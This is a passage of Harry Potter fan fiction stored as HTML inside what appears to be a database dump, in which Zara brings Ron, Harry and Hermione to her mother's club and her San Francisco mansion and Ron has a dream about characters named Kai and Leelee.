style="text-indent:.25in">&#8220;Yes\nwe know, we&#8217;ve seen it.&#8221; Ron said recalling the day she hit Draco Malfoy in the\nface with such a force that it knocked him off his feet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nmake this gal mad or you may need to get yourself a new set of teeth.&#8221; Snake\nreplied with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;ll\nkeep that in mind.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nbouncers opened the doors and let Zara and her friends inside.&nbsp; As soon as Ron, Harry and Hermione set foot\ninside the club they had to slam their palms over their ears, never had they\nheard such loud music before.&nbsp; Zara\nsignaled for them to follow her and they did.&nbsp;\nZara looked at the bar and over at the DJ and on the dance floor.&nbsp; She knew her mom must be in the office.&nbsp; Zara motioned for them to follow her up the\nstairs. They followed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nopened the door to the office and there was her mother on the phone and she was\nangry.&nbsp; Zara saw her mom smile and wave\nlightly at her.&nbsp; Zara turned and waved\nher friends to come inside and she closed the door behind them blocking out all\nthe noise from the club.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nnoticed her mom was angry, but she didn&#8217;t have that business look of anger it\nwas something else.&nbsp; She always knew when\nthe conversations switched, &#8220;now look you said that I would have that order by\nMonday and it&#8217;s Friday. I&#8217;ve dealt with your company before and you always fuck\nwith me.&#8221;&nbsp; Mrs. Reynolds paused, &#8220;Look\nI&#8217;ll use any language I damn well please, you have better fill that order and I\nbetter have it tomorrow or I&#8217;ll see you in court do you understand me.&#8221; She\nslammed the phone down &#8220;Asshole.&#8221; She breathed then smiled at her\ndaughter.&nbsp; &#8220;Zara, I&#8217;m sorry I couldn&#8217;t\npick you up at the airport.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnoticed that Mrs. Reynolds was speaking with a British accent.&nbsp; Yet she looked very similar to Zara, the same\nbrownish gold skin tone, the dark eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nalright, Guido said you were detained.&#8221; Zara replied</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;As\nI was dear,&#8221; she looked over at her daughters friends.&nbsp; &#8220;Ah so these are the young people you wrote\nto me about.&#8221; Mrs. Reynolds said with a smile as Zara went and introduced them\nfor the second time today.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nit&#8217;s good to meet you three.&#8221; She turned to her daughter, &#8220;why don&#8217;t you take\nthem home and let them get settled in.&nbsp;\nI&#8217;m sure they had a long flight.&#8221; She smiled at the four of them.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nthree of them nodded and they all looked so tired, Guido then stepped inside\nthe office and closed the door.&nbsp; He went\nover to Mrs. Reynolds and kissed her lightly on the cheek. &#8220;Did you get\neverything cleared up Crystal?&#8221; Guido searched her eyes but she shook her head\nno. she looked over at Zara and her friends, &#8220;um Guido why don&#8217;t you take Zara\nand her friends home we can talk about this later.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well why don&#8217;t you just give me the keys, and you can\nstay here and talk with ma?&#8221; Zara said to Guido with an innocent smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Guido\nlooked at Zara suspiciously &#8220;me, give you the keys to my sixty six mustang\nconvertible.&nbsp; Hmm, do you have a valid\ndrivers license?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse.&#8221; Faster than light she whipped out her license and flashed it before\nGuido&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ninspected it then asked, &#8220;what about any DUI&#8217;s?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked up at the ceiling and then back at Guido, &#8220;it was only that one, and it\nwas a long time ago. I&#8217;m responsible now. Please Guido.&#8221; She begged like a\nchild would beg for candy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry,\nRon and Hermione found that slightly humorous, they had never seen Zara beg for\nanything since they&#8217;ve known her. It seemed like now that she was at home, a\nmore childish side was coming out.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Guido\nsighed &#8220;okay, but be careful. The last thing I want to see it little bits of\nZara and her friends all over the highway on the eleven o&#8217;clock news.&#8221; He held\nthe keys out for her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nsnatched the keys from his hand joyfully and she started from the office,&nbsp; her friends followed after her, Ron was the\nlast one out as he was leaving her heard Guido ask &#8220;so was that him on the\nphone, and what did you say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nsaid no, what do you think I said?&#8221; Ron heard Crystal reply and he then closed\nthe door behind him.&nbsp; He followed after\nthem.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwent out of the club and back into Guido&#8217;s car.&nbsp;&nbsp; &#8220;Alright are you guys ready for some fun?&#8221;\nShe turned the engine on and a huge smile plastered across her face. &#8220;Listen to\nthat.&#8221; She turned to Ron, &#8220;isn&#8217;t that a beautiful sound.&#8221; She was referring to\nthe engine and Ron nodded.&nbsp; Zara turned\nand pealed out of the parking lot and sped on down the road at a high speed.\nLuckily there were no cops to pull her over.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\npulled into a different kind of area of houses on the outskirts of San\nFrancisco, the houses were still close together but not touching like they had\nseen before.&nbsp; The houses and yards were\nmuch bigger, bigger than Ron had ever seen.&nbsp;\nHe looked up as Zara pulled the car into the driveway and turned off the\nengine.&nbsp; &#8220;Well we&#8217;re here this is my\nhome.&#8221; She jumped out of the car and started for the front door.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron,\nHarry and Hermione looked up at the enormous house, Ron took a breath he felt\nso small and very, very poor.&nbsp; He now\nknew she came from a very wealthy family, how could he ever compare himself\nwith her. He was not good enough for her. He looked over at Hermione and Harry\nwho were just as astounded as he was</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nam I gonna&#8212;&#8221; Ron started to say but was interrupted by Hermione&#8217;s voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron,\nshe likes you a lot. Not for what you have or don&#8217;t have.&nbsp; But just for being you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked at Hermione, &#8220;sure you say that now Herm but look at this.&#8221; He made a\nwide arm gesture as he looked up at Zara&#8217;s huge home.&nbsp; &#8220;She has no idea of where I come from.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t think it really matters to her Ron.&#8221; Hermione replied with a smile as she\nand Harry followed after Zara.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked up at the house and then started walking after them <i style="mso-bidi-font-style:\nnormal">I don&#8217;t know about that Hermione.</i> He thought to himself as he went\ninside the open door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nentry was floor was made of white marble, and Ron stepped down onto the shiny\ntiles standing next to Harry and Hermione.&nbsp;\nThere was a staircase to the left and one to the right, the railings\nwere golden or gold paint Ron concluded.&nbsp;\nHe dropped his suitcase and just stared up at the white carved walls.\nThe ceiling had a stained glass window of wine grapes so that when the sun\nwould shine through it during the day it would sparkle heavenly.&nbsp; The floor that led out of the entry way\ntowards the other part of the house was carpeted in a pinkish wine color.&nbsp; That same carpet ran up the stairs as\nwell.&nbsp; It did look most elegant, too\nelegant for the likes of him Ron thought.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\ncame out of a room that was beyond the entry way and she closed the door behind\nher.&nbsp; &#8220;Alright follow me I&#8217;ll show you to\nyour rooms, our loyal servants have the evening off, they will be around in the\nmorning.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Even\nthough the thought of her having servants as well bothered him he didn&#8217;t let\non, he followed his friends up the stairs. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\nhave five rooms up stairs and the master bedroom which is my ma&#8217;s room down\nstairs.&#8221;&nbsp; Zara smiled and opened the\nfirst door, &#8220;alright then Hermione this is your room.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstepped inside the elegant pale pink room and set her suitcases down next to\nthe door.&nbsp; She glanced about room, the\nwalls had a rich looking colored paint and the furniture was made of fine\nmahogany, where three bookcases aligned three walls, there was a desk in the\ncorner of the room with a touch lamp resting on it.&nbsp; What caught Hermione&#8217;s eye was a nice king\nsized bed in the middle of the room, it looked so comfortable and fluffy soft.\nShe hoped it was a soft as it looked. She was dead tired.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nfollowed Zara out of the room and across from hers, Zara opened the door, &#8220;okay\nthen Harry, here you go.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nroom looked similar to Hermione&#8217;s except the walls were an orange red color\ninstead of pink, Harry sat his stuff down inside his and the followed Zara down\nto the next room which was next door to Harry&#8217;s and Zara opened the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nRon, this is the room for you.&#8221; She smiled at him as he stepped inside the\nbluish room which looked very similar to Hermione&#8217;s and Harry&#8217;s.&nbsp; He was just staring inside, he never felt so\nuncomfortable in his whole life.&nbsp; Zara\nnoticed he was uneasy about something.&nbsp;\n&#8220;Ron is everything alright, are you disappointed in the room? Cause if\nyou are I have other rooms you could take a look at if you want to change?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nturned and looked at her forcing a smile, &#8220;no I&#8217;m alright Zara. This room will\nbe just fine.&#8221; He looked back into the room and he finally stepped inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nknew something was bothering him, she placed a hand on his shoulder. Zara saw\nhim turn and look down at her &#8220;something is bothering you isn&#8217;t it?&#8221; she\nsearched him for an answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nnot really.&#8221; He lied, &#8220;I suppose I&#8217;m just tired from the journey.&#8221; He smiled\nbriefly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nnodded, &#8220;well of course you are, it&#8217;s been a really long flight and we did pass\nthrough a large time zone so I&#8217;m sure your nerves are a little raw.&#8221;&nbsp; Zara turned her wrist over and looked at her\nwatch it was nearing eleven.&nbsp; Even though\nthey have stayed up later before, the change in time zone did have certain\neffects on people.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink I&#8217;ll just get some sleep.&#8221; Ron announced.&nbsp;\nAnd everyone else agreed that it was a good thing to do.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Leaning\nup Zara gave him a quick kiss on the cheek and wished him good night and she,\nHarry, and Hermione left the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nsmiled then turned and walked down the hall to her own room which was all the\nway at the end.&nbsp; She waved to both Harry\nand Hermione and they waved back to her and she closed the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nand Harry just stared at each other for a little while until she let out a\nlarge yawn.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nthought it looked really cute, &#8220;tired?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nodding,\n&#8220;so tired.&#8221; She said sleepily with another smaller yawn.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Me\ntoo.&#8221; Harry moved towards her putting put his arms around her.&nbsp; He held her for what seemed like a long time.\n&#8220;Well good night then.&#8221; He looked down at her as she looked up at him.&nbsp; His lips pressed against hers softly, he\ndidn&#8217;t want to start anything tonight that he couldn&#8217;t finish. He was way too\ntired.&nbsp; Harry thought Hermione must have\nhad the same idea because she pulled out of his arms smiling at him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good\nnight.&#8221; Hermione said and she backed into her room closing the door.&nbsp; Harry did the same.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nhad stood there watching them, his two friends had nothing standing in their\nway.&nbsp; He felt slightly jealous of the\neasy relationship that they two had, his brain told him that there was no way\nthat Harry and Hermione&#8217;s relationship was easy, it was way difficult. But\nthere was no money matters between them. He argued with himself. Hermione said\nthat Zara didn&#8217;t care about money, but he didn&#8217;t get that impression at all\nnow.&nbsp; He closed the door to his\nroom.&nbsp; He would try not to harp on the\nmatters of money right now, he needed to get some sleep.&nbsp; Ron changed into his soft cotton pants and\nplain blue t-shirt and climbed into the bed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His\nbody relaxed on the soft bed and pulled the blankets up, he turned over to\nsleep.&nbsp; Within a few minutes he was\ndrifting off&#8212;<i style="mso-bidi-font-style:normal"> He was walking through the\ngardens of Ulrich&#8217;s house, he was told to wait out here for him.&nbsp; He hated to see Ulrich but he had to get the\ninformation that Jasmine wanted on his father.&nbsp;\nHe knew he was taking a big risk in trying to prove Salazar guilty of\ndark magic, but he agreed.&nbsp; And for some\nreason Ulrich agreed to give it to him.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He looked up and saw a young woman\nwalking among the gardens as well, she was hugging herself tightly probably\ntrying to keep herself warm.&nbsp; He\nrecognized her as the woman that was given to Ulrich on his birthday.&nbsp; He glanced about her she was wrapped in\nlavender silk and holding the fabric tightly around her.&nbsp; Her face wasn&#8217;t veiled like it was at the\nparty.&nbsp; She had a small jeweled head\npiece worn like a headband around her head.&nbsp;\nHe thought that she had beautiful Black hair, he noticed she seemed\nuneasy.&nbsp; His heart went to her, she was\nfar away from her home and her family.&nbsp;\nHe knew she did not want to be there.&nbsp;\nHe decided to make his presence known.&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Excuse me miss.&#8221; He said.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">The young woman lifted her head and\nstared at him, she nodded but did not speak, she looked at him but there was no\nhappiness in her eyes.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I bet you miss your family, don&#8217;t you?&#8221;\nHe noticed she didn&#8217;t speak, instead she hung her head.&nbsp; And he knew she did.&nbsp; &#8220;My name is Kai, do you have a name?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She looked up at him and then lowered\nher eyes, &#8220;Leelee.&#8221; She said quickly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Leelee, that&#8217;s a lovely name.&#8221; He\nsmiled, even though Leelee did not lift her head he could see that her face\nflushed at the compliment.&nbsp; &#8220;Do you like\nit here Leelee?&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No.&#8221; she answered truthfully.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I wouldn&#8217;t blame you, I don&#8217;t like it\nmuch myself.&#8221; He smiled again.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s too cold.&#8221; She said.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai knew she must have been trained to\nspeak English, her family probably knew they were going to be selling her off\nto an English speaking master. &#8220;Ah yes you come from a warmer climate don&#8217;t\nyou.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee nodded.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Do you miss your home?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai found that odd.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I was raised to be a slave&#8221; she said\nprobably trying to ease his confusion.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai nodded in understanding, &#8220;I&#8217;m sorry\nto hear that.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai heard a voice calling for her, it\nwasn&#8217;t Ulrich&#8217;s voice but his fathers.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee looked up at Kai, &#8220;I&#8212;I must go.&#8221;\nShe started to turn.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Leelee can we talk again sometime?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai saw Leelee thinking and then she\nnodded.&nbsp; He heard the voice calling for\nher again this time agitated. He watched Leelee take off quickly back towards\nthe huge mansion.&nbsp; He could hear Salazar\nyelling at her &#8220;didn&#8217;t you hear me calling woman? Honestly, can&#8217;t they send one\ndecent slave?&#8221; Kai heard that and he didn&#8217;t like it, he saw Ulrich coming\noutside.&nbsp; Kai&#8217;s mood just dropped,\ngetting worse.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He saw Ulrich approach him, Kai was so\nangry he would have thrown a punch. But he remembered what Jasmine needed and\nhe held himself back.&nbsp; Ulrich handed Kai\na large written diary.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Here, that should be enough. I had to\nmake a copy.&#8221; He twirled his wand about like a pro.&nbsp; &#8220;If my father knew I was giving this to you\nhe would surely kill me, and I&#8217;m not kidding.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Well it&#8217;s a shame really, maybe I\nshould alert him to your sneaky ways.&nbsp;\nThen you&#8217;ll be out of all our hair.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Ulrich glared at Kai, &#8220;what have I ever\ndone to you to make you loath me so?&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Let&#8217;s just say you were born.&#8221; Kai\nturned to walk away.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Does this have something to do with\nAlina?&nbsp; What you&#8217;re not in love with her\nare you?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No I&#8217;m not in love with Alina, but I\nwill protect her from the likes of you. Torrin I could handle messing with her.\nBut not you.&nbsp; You&#8217;ll break her heart and\nshe&#8217;s the closest thing to a sister I have.&#8221; Kai shouted at him.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes she is a half breed, your no good\nfather went around fucking all the little wenches muggle or non muggle and look\nwhat turned up.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You leave my family out of this.&#8221; Kai\nrounded on him he had his wand pulled and ready to strike. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Your mother won&#8217;t even recognize her as\none of your family, all because of your fathers&#8212;&#8221; He was cut off by Kai&#8217;s angry\nface.&nbsp; Ulrich backed off.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai knew Ulrich was just trying to anger\nhim, he restrained himself from doing any harm to Ulrich. Jasmine needed his\nhelp and she was his friend.&nbsp; He would\nnot ruin her plans over his anger towards Ulrich.&nbsp; He turned and stormed from the mansion\ngrounds--</i>&nbsp; Ron turned over clutching the blankets\ntightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s first airplane trip\nWOW.&nbsp; But he sure has some self esteem\nissues wouldn&#8217;t you all agree? Anyway stay tuned for chapter 13&#8212;Zara&#8217;s\nRival.&nbsp; Please Read and Review, thanks,\nRyoko</p>\n\n\n\n\n\n\n'),
	(41, 13, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer:\nAlright all the Harry Potter characters\nbelong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine,\nUlrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because\nI don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 